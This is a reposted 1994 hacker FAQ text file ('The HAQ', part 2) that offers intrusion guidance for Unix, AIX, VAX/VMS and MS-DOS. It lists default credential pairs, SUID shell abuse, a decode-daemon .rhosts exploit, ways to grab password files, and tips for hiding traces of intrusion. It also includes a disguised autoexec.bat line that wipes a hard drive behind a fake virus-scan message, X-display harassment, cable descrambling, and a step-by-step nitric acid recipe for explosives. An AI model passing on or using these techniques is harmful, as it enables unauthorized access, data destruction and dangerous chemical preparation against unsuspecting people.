· 9 years ago · Dec 31, 2016, 07:31 PM
1**
2
3Part 2 ppl, enjoy...
4-=*( Prophet )*=-
5**
6
7 _____________
8/ / / *** *** ****** ******
9 / *** *** ********* *********
10 / / *** *** *** *** *** ***
11 / / *********** *********** *** ***
12 / /_____ ______ *********** *********** *** ** ***
13 / / / /_____/ *** *** *** *** *** *****
14 / / / / *** *** *** *** ***********
15/ / / /______ *** *** *** *** ***** ***
16
17
18 +---------------+
19 | THE HAQ |
20 | Edition 2.07 |
21 | 11 JUN 1994 |
22 +---------------+
23
24 File 2 of 3
25
26=====================================================================
27VI. NEWBIES READ THIS
28 (Basic Hacking)
29
30WHAT MAKES A SYSTEM SECURE?
31(from alt.security FAQ)
32"The only system which is truly secure is one which is switched off
33and unplugged, locked in a titanium lined safe, buried in a concrete
34bunker, and is surrounded by nerve gas and very highly paid armed
35guards. Even then I wouldn't stake my life on it."
36 - originally from Gene Spafford
37
38^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
39
40WHAT WOULD BE IDEAL PROTECTION OF A SYSTEM?
41Password Access- Get rid of simple passwords; routinely change all
42 passwords; regular review/monitoring of password
43 files
44
45Physical Access- Lock up terminals, personal computers, disks when
46 not in use; eliminate unnecessary access lines;
47 disconnect modems when not in use
48
49Other measures- Know who you are talking to; shred all documents;
50 avoid public domain software; report suspicious
51 activity (especially non-working hours access)
52
53What this all means is that hackers must now rely on the ineptitude
54and laziness of the users of the system rather than the ignorance
55of SysOps. The SysOps and SecMans (Security Managers) are getting
56smarter and keeping up to date. Not only that, but they are
57monitoring the hack/phreak BBSes and publications. So the bottom
58line is reveal nothing to overinquisitive newbies...they may be
59working for the wrong side.
60
61^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
62
63WHAT IS A FIREWALL?
64(from the comp.security.misc FAQ)
65A (Internet) firewall is a machine which is attached (usually)
66between your site and a Wide Area Network (WAN). It provides
67controllable filtering of network traffic, allowing restricted
68access to certain Internet port numbers and blocks access to
69pretty well everything else.
70
71^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
72
73HOW TO HACK WITHOUT GETTING INTO TROUBLE AND DAMAGING COMPUTERS?
74 1. Don't do damage intentionally.
75 2. Don't alter files other than than to hide your presence or to
76 remove traces of your intrusion.
77 3. Don't leave any real name, handle, or phone number on any
78 system.
79 4. Be careful who you share info with.
80 5. Don't leave your phone number with anyone you don't know.
81 6. Do NOT hack government computers.
82 7. Don't use codes unless you HAVE too.
83 8. Be paranoid!
84 9. Watch what you post on boards, be as general as possible.
8510. Ask questions...but do it politely and don't expect to have
86 everything handed to you.
87
88^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
89
90WHAT DO I DO IF I AM GETTING NOWHERE?
911. Change parity, data length, and stop bits. The system may not
92 respond to 8N1 (most common setting) but may respond to 7E1,8E2,
93 7S2, etc.
942. Change baud rates.
953. Send a series of carriage returns.
964. Send a hard break followed by a carriage return.
975. Send control characters. Work from ^a to ^z.
986. Change terminal emulation.
997. Type LOGIN, HELLO, LOG, ATTACH, CONNECT, START, RUN, BEGIN, GO,
100 LOGON, JOIN, HELP, or anything else you can think off.
101
102=====================================================================
103VII. Screwing with the most widespread operating system on the net
104 (UNIX / AIX Hacking)
105
106WHAT ARE COMMON DEFAULT ACCOUNTS ON UNIX?
107(from Belisarius)
108Common default accounts are root, admin, sysadmin, unix, uucp, rje,
109guest, demo, daemon, sysbin. These accounts may be unpassworded
110or the password may possibly be the same (i.e. username uucp has
111uucp as the passwd).
112
113^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
114
115HOW IS THE UNIX PASSWORD FILE SETUP?
116(from Belisarius)
117The password file is usually called /etc/passwd
118Each line of the passwd file of a UNIX system follows the following
119format:
120
121
122 userid:password:userid#:groupid#:GECOS field:home dir:shell
123
124
125What each of these fields mean/do---
126
127userid -=> the userid name, entered at login and is what the
128 login searches the file for. Can be a name or a
129 number.
130
131password -=> the password is written here in encrypted form.
132 The encryption is one way only. When a login
133 occurs the password entered is run through the
134 encryption algorithm (along with a salt) and then
135 contrasted to the version in the passwd file that
136 exists for the login name entered. If they match,
137 then the login is allowed. If not, the password is
138 declared invalid.
139
140userid# -=> a unique number assigned to each user, used for
141 permissions
142
143groupid# -=> similar to userid#, but controls the group the user
144 belongs to. To see the names of various groups
145 check /etc/group
146
147GECOS FIELD -=> this field is where information about the user is
148 stored. Usually in the format full name, office
149 number, phone number, home phone. Also a good
150 source of info to try and crack a password.
151
152home dir -=> is the directory where the user goes into
153 the system at (and usually should be brought
154 to when a cd is done)
155
156shell -=> this is the name of the shell which is
157 automatically started for the login
158
159Note that all the fields are separated by colons in the passwd file.
160
161^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
162
163WHAT DO THOSE *s, !s, AND OTHER SYMBOLS MEAN IN THE PASSWD FILE?
164(from Belisarius)
165Those mean that the password is shadowed in another file. You have
166to find out what file, where it is and so on. Ask somebody on your
167system about the specifics of the Yellow Pages system, but
168discretely!
169
170^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
171
172WHAT IS A UNIX TRIPWIRE?
173(from Belisarius)
174Tripwire is a tool for Unix admins to use to detect password cracker
175activity, by checking for changed files, permissions, etc. Good for
176looking for trojan horses like password stealing versions of
177telnet/rlogin/ypcat/uucp/etc, hidden setuid files, and the like.
178
179^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
180
181USING SUID/GUID PROGS TO FULL ADVANTAGE.
182(from Abort)
183A SUID program is a program that when executed has the privs of the
184owner.
185A GUID has the privs of the group when executed.
186Now imagine a few things (which happen often in reality):
1871. Someone has a SUID program on their account, it happens to allow
188a shell to, like @ or jump to a shell. If it does that, after you
189execute said file and then spawn a shell off of it, all you do
190in that shell has the privs of that owner.
1912. If there is no way to get a shell, BUT they leave the file
192writable, just write over it a script that spawns a shell, and you
193got their privs again.
194
195^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
196
197HOW CAN I HACK INTO AN AIX MACHINE?
198(from Prometheus)
199
200If you can get access to the 'console' AIX machines have a security
201hole where you can kill the X server and get a shell with
202ctrl-alt-bkspce. Also by starting an xterm up from one you are not
203logged in the utmp for that session because the xterms don't do utmp
204logging as a default in AIX. Or try the usual UNIX tricks:
205ftping /etc/passwd, tftping /etc/passwd, doing a finger and then
206trying each of the usernames with that username as a password.
207
208^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
209
210HOW CAN I INCREASE MY DISK QUOTA ON UNIX?
211(from Prometheus)
212
213A UNIX disk quota may be increased by finding a directory on another
214partition and using that. Find another user who wants more quota and
215create a directory for the other to use, one that is world writable.
216Once they've put their subdirectory in it, change the perms on the
217directory to only read-execute. The reason this works is that
218usually accounts are distributed across a couple of filesystems, and
219admins are usually too lazy to give users the same quotas on each
220filesystem. If the users are all on one filesystem, you may be able
221to snag some space from one of the /usr/spool directories by creating
222a 'hidden' subdirectory like .debug there, and using that.
223
224^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
225
226HOW CAN I FOOL AROUND ON XTERM / XWINDOWS?
227(from Wildgoose)
228Most x commands have a -display option which allows you to pick a
229terminal to send to. So if you use bitmap to create a bitmap, or
230download one, etc then:
231
232xsetroot -bitmap bitmapname
233[display the bitmap on your screen]
234
235xsetroot -bitmap bitmapname -display xt2500:0
236[display the bitmap on another xterm]
237
238Other uses, try xterm -display xt??:0 will give someone else one of
239your login windows to play with. They are then logged in as you
240though, and can erase your filespace, etc. Beware!
241
242Slightly irritating:
243xclock -geom 1200x1200 -display xt??:0
244[fills the entire screen with a clock]
245
246Slightly more irritating:
247Use a shell script with xsetroot to flash people's screens different
248colors.
249
250On the nastier side:
251Use a shell script with xsetroot to kill a person's window manager.
252
253Downright nasty:
254Consult the man pages on xkill. It is possible to kill windows on
255any display. So to log someone off an xterm you merely have to xkill
256their login window.
257
258Protect yourself:
259If you use xhost - this will disable other people from being able
260to log you out or generally access your terminal.
261
262^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
263
264HOW CAN I TAKE ADVANTAGE OF THE DECODE DAEMON?
265(from Caustic)
266First, you need to make sure that the decode daemon is active.
267Check this by telnetting to the smtp port (usually port 25), and
268expanding user Decode. If it gives you something, you can use it.
269If it tells you that the user doesn't exist, or whatever, you can't.
270
271If the daemon is active, this is how to exploit the decode daemon:
2721) uuencode an echo to .rhosts
2732) pipe that into mail, to be sent to the decode daemon
274(What happens: the decode daemon (1st) decodes the process, but
275leaves the bin priveleges resident. (2nd) the echo command is
276executed, because now the decoded message assumes the bin priveleges
277[which are *still* active, even though the daemon didn't issue the
278command]).
2793) If this is done right, you will be able to rlogin to the sysem.
280
281^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
282
283HOW CAN I GET THE PASSWORD FILE IF IT IS SHADOWED?
284(from Belisarius)
285If your system has Yellow Pages file managment:
286
287ypcat /etc/passwd > whatever.filename
288
289^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
290
291HOW IS A PASSWORD ENCRYPTED IN UNIX?
292(from UNIX System Security[p.147])
293 Password encryption on UNIX is based on a modified version of
294the DES [Data Encryption Standard]. Contrary to popular belief, the
295typed password is not encrypted. Rather the password is used as the
296key to encrypt a block of zero-valued bytes.
297 To begin the encryption, the first seven bits of each character
298in the password are extracted to form the 56-bit key. This implies
299that no more than eight characters are significant in a password.
300Next, the E table is modified using the salt, which is the first two
301characters of the encrypted password (stored in the passwd file).
302The purpose of the salt is to makae it difficult to use hardware DES
303chips or a precomputed list of encrypted passwords to attack the
304algorithm. The DES algorithm (with the modified E table) is then
305invoked for 25 iterations on the block of zeros. The output of this
306encryption, which is 64 bits long, is then coerced into a
30764-character alphabet (A-Z, a-z, 0-9, "." and "/"). Because this
308coersion involves translations in which several different values are
309represented by the same character, password encryption is essentially
310one-way; the result cannot be decrypted.
311
312=====================================================================
313VIII. Screwing with the most secure operating system on the net
314 (VAX/VMS Hacking)
315
316WHAT IS VAX/VMS?
317
318VAX: Virtual Address eXtension. Computer is desisgned to use memory
319 addresses beyond the actual hardware and can therefore run progs
320 larger than physical memory. Developed by Digital Equipment
321 Corporation (DEC).
322
323VMS: Virtual Memory System. Also developed by DEC.
324
325DCL: Digital Command Language. Similar to DOS batch language or
326 UNIX script language.
327
328^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
329
330WHAT ARE SOME OF THE DEFAULT VAX LOGINS?
331 Username Password
332 -------- --------
333 DECNET DECNET
334 DEFAULT DEFAULT
335 DEMO DEMO
336 unpassworded
337 FIELD FIELD
338 SERVICE
339 GUEST GUEST
340 unpassworded
341 OPERATOR OPERATOR
342 OPERATIONS OPERATIONS
343 SYSMAINT SYSMAINT
344 SERVICE
345 DIGITAL
346 SYSTEM SYSTEM
347 MANAGER
348 OPERATOR
349 SYSLIB
350 SYSTEST UETP
351 SYSTEST
352 SYSTEST_CLIG CLIG
353 SYSTEST
354 TEST
355 SUPPORT SUPPORT
356 DEC
357
358^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
359
360WHAT ARE SOME OF THE BASIC COMMANDS FROM THE "$" PROMPT?
361@: executes a DCL program
362 usage- @filename.com
363ACCOUNTING: program that tracks usage of the system by users
364CREATE: PASCAL compiler
365 usage- CREATE filename.pas
366CREATE/DIR: create a subdirectory
367DEL: delete files
368 usage- DEL filename.ext
369DIR: list the contents of a directory
370 options- /FULL = full listing with all security info
371 /BRIEF = brief listing
372 * = wildcard for anything
373 % = wildcard for a specific character
374EDIT: VMS editor, requires VT-220 terminal
375HELP: brings up help info
376LOGOUT: obvious
377MAIL: send E-mail locally and to any connected networks
378$PASSWORD: change your password
379 usage- $PASSWORD newpassword
380PHONE: chat program
381 usage- PHONE changes the prompt to a '%', from there type in
382 the username you wish to talk to. If the user is on a
383 different node then enter nodename::username
384PHOTO: record session
385RUN: execute an executable file
386SHOW: lets you look at alot of different stuff
387 usage- SHOW option
388 options- CLUSTER = VAX cluster, if any
389 DEFAULT = directory path and device
390 DEVICES = system devices (drives, modems, etc.)
391 INTRUSION = accounts being hacked, if any
392 MEMORY = obvious
393 NETWORK = network name and VAX's location in it
394 PROCESS = PROCESS processname shows status
395 QUOTA = disk space available for account
396 SYSTEM = system info
397 DAY = obvious
398 TIME = obvious
399 USERS = online users
400TYPE: display file on terminal (same as DOS 'type' and UNIX 'cat')
401SET FILE/PROTECTION: sets the Read/Write/Execute/Delete flags
402 usage- SET FILE/PROTECTION=OWNER[RWED] filename.ext
403 options- WORLD, GROUP, or SYSTEM can be used in place of OWNER
404 WORLD = all users in your world
405 GROUP = all users in your group
406 SYSTEM = all users with SYSPRV privileges
407SET TERMINAL: controls terminal settings
408 usage- SET TERMINAL/option
409 options- WIDTH=80 = set width to 80 columns
410 ADVANCED_VIDEO = selects 124x24 lines
411 NOADVANCED_VIDEO = unselects 124x24 lines
412 ANSI_CRT = selects ANSI escape sequences
413 NOANSI_CRT = unselects ANSI escape sequences
414 AUTOBAUD = allows computer to select highest possible
415 baud rate
416 NOAUTOBAUD = turn off automatic baud selection
417 BROADCAST = allows receipt of SEND, MAIL and PHONE
418 messages
419 NOBROADCAST = prevents receiption of SEND, MAIL and
420 PHONE messages
421 DEVICE_TYPE=VT220 = set terminal type to VT-220
422 ECHO = enables echoing from DCL command line
423 NOECHO = disable DCL command line echoing
424 FULLDUP = enable full duplex
425 NOFULLDUP = disable full duplex
426 HANGUP = log off if no carrier
427 NOHANGUP = don't log off even if no carrier
428 INQUIRE = show device type of terminal
429 PAGE=43 = set display length to 43 lines
430 TYPE_AHEAD = enable type ahead function
431 NOTYPE_AHEAD = disable type ahead function
432 UNKNOWN = use for ASCII device types
433 WRAP = set wrap around feature
434 NOWRAP = unset wrap around feature
435
436^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
437
438WHAT ARE COMMON VAX FILENAME EXTENSIONS?
439
440 COMPILER SOURCE CODE FILES
441 ==========================
442ADA = ADA compiler source code file
443BAS = BASIC compiler source code file
444B32 = BLISS-32 compiler source code file
445C = C compiler source code file
446COB = COBOL compiler source code file
447FOR = FORTRAN compiler source code file
448MAR = MACRO compiler source code file
449PAS = PASCAL compiler source code file
450PLI = PL/I compiler source code file
451OBJ = object code created by compiler before linking
452
453 DCL LANGUAGE FILES
454 ==================
455CLD = DCL command description file
456COM = DCL batch file
457
458 GENERAL FILES
459 =============
460DAT = DATa file
461DIR = subDIRectory file
462EXE = EXEcutable program
463HLP = text for HeLP libraries
464LIS = system listing files (TYPE, PRINT, PHOTO)
465LOG = batch job output
466MEM = DSR output file
467RNO = DSR source file
468SIXEL = file for SIXEL graphics
469SYS = SYStem image file
470TJL = Trouble JournaL
471TMP = TeMPorary file
472TXT = text library input file
473UAF = User Autorization File
474
475 MAIL FILES
476 ==========
477DIS = DIStribution file
478MAI = MAIl message file
479TXT = mail output file
480
481 EDT EDITOR FILES
482 ================
483EDT = command file for the EDT editor
484JOU = EDT journal when problems occur
485TPU = editor command file
486
487=====================================================================
488IX. Screwing with the most widespread operating system on PCs
489 (MS-DOS Hacks)
490
491HOW TO REALLY **ERASE** A HARDDRIVE
492(from Amarand)
493Install a small program (in the Dos directory would be good) called
494Wipe, by Norton Utilities. I am pretty sure that executing this
495program, using the proper command line options, you can for one
496better than formatting the hard drive. Wiping the information
497changes each bit in the object (file, FAT, disk, hard drive) to a
498zero...or a random bit, or an alternating bit instead of just
499deleting the reference to it in the file allocation table. If you
500just delete a file, or format a hard drive...with the new Dos you
501would only need to let it run its course and then Unformat the drive.
502Wipe, I have found, works much more effectively by first erasing the
503file allocation table AFTER erasing the information the file
504allocation table is used to find.
505
506^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
507
508WRITING A .bat FILE TO 'WIPE' A DRIVE.
509Add the following code to the end of autoexec.bat:
510echo Please wait
511echo Checking HardDisk for virii, this make take a while ...
512wipe > nothing.txt
513
514This prevents any output from Wipe being output.
515
516=====================================================================
517X. Finding out what that encrypted info is
518 (Cracking programs)
519
520WHAT ARE PASSWORD CRACKING PROGRAMS?
521(from Belisarius)
522There are three main cracking programs. They are Crack, Cracker Jack
523and Cops. The latest versions are 4.1 for Crack and 1.4 for Cracker
524Jack. Crack and COPS run on UNIX and CJack runs on a PC. CJack1.3
525runs on any x86 class and CJack1.4 needs at least a 386. To use any
526of these requires access to an unshadowed password file.
527They are not programs that try to login to an account. They take the
528password file (/etc/passwd in UNIX is usually the name) and guess the
529passwords.
530
531^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
532
533WHERE CAN I GET THESE PROGRAMS?
534
535Crack: ftp.virginia.edu /pub/security
536CrackerJack: bnlux1.bnl.gov /pub/pezz
537COPS:
538
539^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
540
541WHAT IS WPCRACK?
542WPCRAK is a cracker to break the encryption on WordPerfect files.
543It works, but takes a long time to run.
544
545^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
546
547WHAT IS PKCRACK?
548PKCRACK is a dictionary cracker for PKZIP. It works. It's
549dictionary, but it works. Not all that well, as you may have to sift
550through multiple possible passwords, but its better than nothing.
551
552=====================================================================
553XI. How do I keep my info secure
554 (PGP / Cryptology)
555
556WHAT IS PGP?
557(from Belisarius)
558PGP stands for Pretty Good Protection, from a company called Pretty
559Good Software. It is a public key encryption program for MS-DOS,
560Unix, and Mac. You create a key pair. One private (secret) key
561and a public key. The keys are different parts of the whole. I
562distribute my public key and anyone who wants can grab it ad it to
563their PGP keyring. Then when they want to send me a message they
564encrypt it with PGP and my public key and then send it. Only I can
565decrypt it because you need my secret key to decode it. (Trust me
566you won't get my secret key) That is PGP. Please use it if you
567want to communicate anything of a ahhhh....sensitive manner.
568
569^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
570
571WHERE CAN I GET PGP?
572(from an archie search)
573
574FTP sites for PGP=Pretty Good Privacy Public Encryption System
575^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
576
577========
578Unix PGP
579========
580
581Host 130.149.17.7
582Location: /pub/local/ini/security
583 FILE -rw-rw-r-- 651826 Apr 5 1993 pgp22.tar.Z
584
585Host arthur.cs.purdue.edu
586Location: /pub/pcert/tools/unix/pgp
587 FILE -r--r--r-- 651826 Mar 7 1993 pgp22.tar.Z
588
589Host coombs.anu.edu.au
590Location: /pub/security/cypher
591 FILE -r--r--r-- 651826 Nov 4 22:28 pgp22.tar.Z
592
593
594
595==========
596MS-DOS PGP
597==========
598
599Host zero.cypher.com
600Location: /pub/pgp
601 FILE pgp23a.zip
602
603================
604MS-DOS PGP SHELL
605================
606
607Host athene.uni-paderborn.de
608Location: /pcsoft/msdos/security
609 FILE -rw-r--r-- 65160 Aug 9 20:00 pgpshe22.zip
610
611Host nic.switch.ch
612Location: /mirror/msdos/security
613 FILE -rw-rw-r-- 65160 Aug 9 22:00 pgpshe22.zip
614
615Host plains.nodak.edu
616Location: /pub/aca/msdos/pgp
617 FILE -rw-r--r-- 65430 Nov 26 18:28 pgpshe22.zip
618
619
620=======
621Mac PGP
622=======
623
624Host plaza.aarnet.edu.au
625Location: /micros/mac/info-mac/util
626 FILE -r--r--r-- 323574 Apr 26 1993 pgp.hqx
627
628Host sics.se
629Location: /pub/info-mac/util
630 FILE -rw-rw-r-- 323574 Nov 5 11:20 pgp.hqx
631
632Host sumex-aim.stanford.edu
633Location: /info-mac/util
634 FILE -rw-r--r-- 323574 Apr 26 1993 pgp.hqx
635
636=====================================================================
637XII. Chemistry 101
638 (explosive/pyrotechnic component prep)
639XIII. Fun things with solder, wires, and parts
640 (Underground electronics)
641 XIV. Watching television
642 (cable, Pay-Per-View(PPV), scrambling)
643 XV. What's on the radio waves?
644 (Radios and Scanning)
645
646HOW TO MAKE NITRIC ACID:
647(from Neurophire)
648
649Nitric acid is not TOO expensive, but is hard to find except from
650chemical supply houses. Purchases can be traced.(From TBBOM13.TXT)
651
652There are several ways to make this most essential of all acids for
653explosives. One method by which it could be made will be presented.
654again, be reminded that these methods SHOULD NOT BE CARRIED OUT!!
655
656 Materials: Equipment:
657 ---------- ----------
658 sodium nitrate or adjustable heat source
659 potassium nitrate
660 retort
661 distilled water
662 ice bath
663 concentrated
664 sulfuric acid stirring rod
665
666 collecting flask with
667 stopper
668
6691) Pour 32 milliliters of concentrated sulfuric acid into the retort.
670
6712) Carefully weigh out 58 grams of sodium nitrate, or 68 grams of
672potassium nitrate. and add this to the acid slowly. If it all does
673not dissolve, carefully stir the solution with a glass rod until
674it does.
675
6763) Place the open end of the retort into the collecting flask, and
677place the collecting flask in the ice bath.
678
6794) Begin heating the retort, using low heat. Continue heating until
680liquid begins to come out of the end of the retort. The liquid that
681forms is nitric acid. Heat until the precipitate in the bottom of
682the retort is almost dry, or until no more nitric acid is forming.
683CAUTION: If the acid is heated too strongly, the nitric acid will
684decompose as soon as it is formed. This can result in the
685production of highly flammable and toxic gasses that may explode.
686It is a good idea to set the above apparatus up, and then get away
687from it.
688
689 Potassium nitrate could also be obtained from store-bought black
690powder, simply by dissolving black powder in boiling water and
691filtering out the sulfur and charcoal. To obtain 68 g of potassium
692nitrate, it would be necessary to dissolve about 90 g of black powder
693in about one liter of boiling water. Filter the dissolved solution
694through filter paper in a funnel into a jar until the liquid that
695pours through is clear. The charcoal and sulfur in black powder are
696insoluble in water, and so when the solution of water is allowed to
697evaporate, potassium nitrate will be left in the jar.
698
699=====================================================================
700XIII. Fun things with solder, wires, and parts
701 (Underground electronics)
702
703HOW TO MAKE HIGH FREQUENCY TONES TO ANNOY SOMEONE?
704(from Angel of Death with Belisarius)
705
706The idea is to make a simple timing circuit to create a high freq
707tone. The timing circuit is based upon the 555-chip and uses a
708simple speaker to convert the pulses from the 555 into sound.
709
710Required materials: 555 timer chip, 9 V battery, .01 uF capacitor,
711 100k potentiometer, tweeter speaker, wire
712 (the capacitor and resistor values can vary
713 although that changes the possible freqs)
714
715
716 -9V (GND)
717 [\ |
718 [s\ | ________ ________
719 [p \ | | \/ |
720 [e +-------+-------------------+--| 1 8 |-- +9V
721 [a | | | |
722 [k | | | /.01uF CAP | 5 |
723 [e +-+ +--|(------+-----------| 2 5 7 |
724 [r / | | \ | | 5 |
725 [ / | | | |
726 [/ +--------------- | ----------| 3 t 6 |----+
727 | | | i | |
728 | | | m | |
729 | | +9V --| 4 e 5 | |
730 | | | r | |
731 | | |__________________| |
732 | | |
733 | /\ | |
734 +----\ / \-----+-----------------------------------+
735 \/ 100k POT
736
737555 Timer Pin Connections
738-------------------------
739Pin 1: Ground (-9V side of bat), one lead of tweeter, one lead
740 of capacitor
741Pin 2: Pin 6 and other lead of capacitor
742Pin 3: Other lead of the tweeter, one lead of the resistor
743Pin 4: Pin 8 and the +9V
744Pin 5: No connections
745Pin 6: Pin 2 and the other lead of the potentiometer
746Pin 7: No connections
747Pin 8: Pin 4 and the +9V
748
749=====================================================================
750XIV. Watching television
751 (cable, Pay-Per-View(PPV), scrambling)
752
753HOW IS CABLE TV SCRAMBLED?
754(from Aero)
755
756There are three main types of scrambling for cable TV: trap filters,
757gernaral scrambling and addressable scrambling.
758
7591. Trap filters. Located in the distribution box and physically
760prevent the desired channel from reaching your house. All you see
761when this techniques is used is theoretically static (i.e. a blank
762channel). No filter is perfect, so some signal may reach your TV.
763This is an older system of cable protection, and it is easy to bypass
764(go out to the box and remove the filter).
765
7662. General scrambling. This system scrambles the pay channels (all
767the channels before they reach the box), and you need a special
768decoder to unscramble them. The most common method of scambling is
769to remove the sync signal. This is also easy to get around as you
770can buy descramblers.
771
7723. Addressable descramblers. The cable box receives the scrambled
773channels, but the cable company sends signals to the box telling it
774which ones should be unscrambled. This is the system used by most
775pay-per-view systems. This is a little harder to defeat, but not too
776bad if you have the right equipment/friends.
777
778-=-=-=-=-=-=-=-=-=-=-=-=-=- END of THE HAQ2.07/2 -=-=-=-=-=-=-=-=-=-=-=-